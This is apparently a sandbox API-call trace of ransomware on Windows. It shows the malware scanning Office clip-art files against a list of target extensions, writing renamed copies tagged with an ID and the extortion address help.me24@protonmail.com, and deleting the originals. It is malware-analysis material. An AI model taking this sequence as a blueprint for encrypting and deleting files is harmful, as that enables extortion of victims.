	[0089.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.088] lstrlenW (lpString=".doc") returned 4
	[0089.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.088] lstrlenW (lpString=".docx") returned 5
	[0089.088] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0089.088] lstrlenW (lpString=".pdf") returned 4
	[0089.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.088] lstrlenW (lpString=".xls") returned 4
	[0089.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.088] lstrlenW (lpString=".xlsx") returned 5
	[0089.088] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0089.088] lstrlenW (lpString=".ppt") returned 4
	[0089.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.089] lstrlenW (lpString=".zip") returned 4
	[0089.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.089] lstrlenW (lpString=".rar") returned 4
	[0089.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.089] lstrlenW (lpString=".bz2") returned 4
	[0089.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.089] lstrlenW (lpString=".7z") returned 3
	[0089.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.089] lstrlenW (lpString=".dbf") returned 4
	[0089.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.089] lstrlenW (lpString=".1cd") returned 4
	[0089.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.089] lstrlenW (lpString=".jpg") returned 4
	[0089.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.089] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.089] lstrlenW (lpString="CUP.WMF") returned 7
	[0089.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0089.089] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2966) returned 1
	[0089.089] CloseHandle (hObject=0x324) returned 1
	[0089.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220
	[0089.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0089.090] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.090] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.090] GetLastError () returned 0x0
	[0089.090] ReadFile (in: hFile=0x324, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xb96, lpOverlapped=0x0) returned 1
	[0089.092] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xba0, lpOverlapped=0x0) returned 1
	[0089.092] ReadFile (in: hFile=0x324, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.092] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0089.093] SetEndOfFile (hFile=0x394) returned 1
	[0089.093] CloseHandle (hObject=0x394) returned 1
	[0089.093] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.093] SetEndOfFile (hFile=0x324) returned 1
	[0089.094] CloseHandle (hObject=0x324) returned 1
	[0089.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1
	[0089.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.095] lstrlenW (lpString=".doc") returned 4
	[0089.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.095] lstrlenW (lpString=".docx") returned 5
	[0089.095] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0089.095] lstrlenW (lpString=".pdf") returned 4
	[0089.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.095] lstrlenW (lpString=".xls") returned 4
	[0089.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.095] lstrlenW (lpString=".xlsx") returned 5
	[0089.095] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0089.095] lstrlenW (lpString=".ppt") returned 4
	[0089.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.095] lstrlenW (lpString=".zip") returned 4
	[0089.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.095] lstrlenW (lpString=".rar") returned 4
	[0089.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.095] lstrlenW (lpString=".bz2") returned 4
	[0089.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.095] lstrlenW (lpString=".7z") returned 3
	[0089.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.095] lstrlenW (lpString=".dbf") returned 4
	[0089.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.095] lstrlenW (lpString=".1cd") returned 4
	[0089.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.095] lstrlenW (lpString=".jpg") returned 4
	[0089.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.096] lstrlenW (lpString=".doc") returned 4
	[0089.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString=".docx") returned 5
	[0089.096] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0089.096] lstrlenW (lpString=".pdf") returned 4
	[0089.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString=".xls") returned 4
	[0089.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.096] lstrlenW (lpString=".xlsx") returned 5
	[0089.096] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0089.096] lstrlenW (lpString=".ppt") returned 4
	[0089.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.096] lstrlenW (lpString=".zip") returned 4
	[0089.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.096] lstrlenW (lpString=".rar") returned 4
	[0089.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString=".bz2") returned 4
	[0089.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString=".7z") returned 3
	[0089.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.096] lstrlenW (lpString=".dbf") returned 4
	[0089.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.096] lstrlenW (lpString=".1cd") returned 4
	[0089.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0089.096] lstrlenW (lpString=".jpg") returned 4
	[0089.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.097] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.097] lstrlenW (lpString="CUPINST.WMF") returned 11
	[0089.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.292] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=10326) returned 1
	[0089.292] CloseHandle (hObject=0x2bc) returned 1
	[0089.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220
	[0089.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.292] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.292] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.293] GetLastError () returned 0x0
	[0089.293] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2856, lpOverlapped=0x0) returned 1
	[0089.297] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2860, lpOverlapped=0x0) returned 1
	[0089.299] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.299] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xea, lpOverlapped=0x0) returned 1
	[0089.299] SetEndOfFile (hFile=0x38c) returned 1
	[0089.299] CloseHandle (hObject=0x38c) returned 1
	[0089.300] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.300] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.301] CloseHandle (hObject=0x2bc) returned 1
	[0089.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1
	[0089.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.302] lstrlenW (lpString=".doc") returned 4
	[0089.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString=".docx") returned 5
	[0089.302] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0089.302] lstrlenW (lpString=".pdf") returned 4
	[0089.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString=".xls") returned 4
	[0089.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.302] lstrlenW (lpString=".xlsx") returned 5
	[0089.302] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0089.302] lstrlenW (lpString=".ppt") returned 4
	[0089.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.302] lstrlenW (lpString=".zip") returned 4
	[0089.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.302] lstrlenW (lpString=".rar") returned 4
	[0089.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString=".bz2") returned 4
	[0089.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString=".7z") returned 3
	[0089.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.302] lstrlenW (lpString=".dbf") returned 4
	[0089.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.302] lstrlenW (lpString=".1cd") returned 4
	[0089.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.302] lstrlenW (lpString=".jpg") returned 4
	[0089.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.303] lstrlenW (lpString=".doc") returned 4
	[0089.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.303] lstrlenW (lpString=".docx") returned 5
	[0089.303] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0089.303] lstrlenW (lpString=".pdf") returned 4
	[0089.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.303] lstrlenW (lpString=".xls") returned 4
	[0089.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.303] lstrlenW (lpString=".xlsx") returned 5
	[0089.303] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0089.303] lstrlenW (lpString=".ppt") returned 4
	[0089.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.303] lstrlenW (lpString=".zip") returned 4
	[0089.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.303] lstrlenW (lpString=".rar") returned 4
	[0089.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.303] lstrlenW (lpString=".bz2") returned 4
	[0089.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.303] lstrlenW (lpString=".7z") returned 3
	[0089.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.303] lstrlenW (lpString=".dbf") returned 4
	[0089.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.303] lstrlenW (lpString=".1cd") returned 4
	[0089.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0089.303] lstrlenW (lpString=".jpg") returned 4
	[0089.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.304] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.304] lstrlenW (lpString="DD00117_.WMF") returned 12
	[0089.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.304] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=31122) returned 1
	[0089.304] CloseHandle (hObject=0x2bc) returned 1
	[0089.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220
	[0089.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.304] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.304] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.305] GetLastError () returned 0x0
	[0089.305] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x7992, lpOverlapped=0x0) returned 1
	[0089.308] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x79a0, lpOverlapped=0x0) returned 1
	[0089.310] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.310] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.310] SetEndOfFile (hFile=0x38c) returned 1
	[0089.310] CloseHandle (hObject=0x38c) returned 1
	[0089.311] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.311] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.312] CloseHandle (hObject=0x2bc) returned 1
	[0089.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1
	[0089.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.313] lstrlenW (lpString=".doc") returned 4
	[0089.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.313] lstrlenW (lpString=".docx") returned 5
	[0089.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.313] lstrlenW (lpString=".pdf") returned 4
	[0089.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.313] lstrlenW (lpString=".xls") returned 4
	[0089.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.313] lstrlenW (lpString=".xlsx") returned 5
	[0089.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.313] lstrlenW (lpString=".ppt") returned 4
	[0089.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.313] lstrlenW (lpString=".zip") returned 4
	[0089.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.313] lstrlenW (lpString=".rar") returned 4
	[0089.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.313] lstrlenW (lpString=".bz2") returned 4
	[0089.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.313] lstrlenW (lpString=".7z") returned 3
	[0089.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.313] lstrlenW (lpString=".dbf") returned 4
	[0089.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.314] lstrlenW (lpString=".1cd") returned 4
	[0089.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.314] lstrlenW (lpString=".jpg") returned 4
	[0089.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
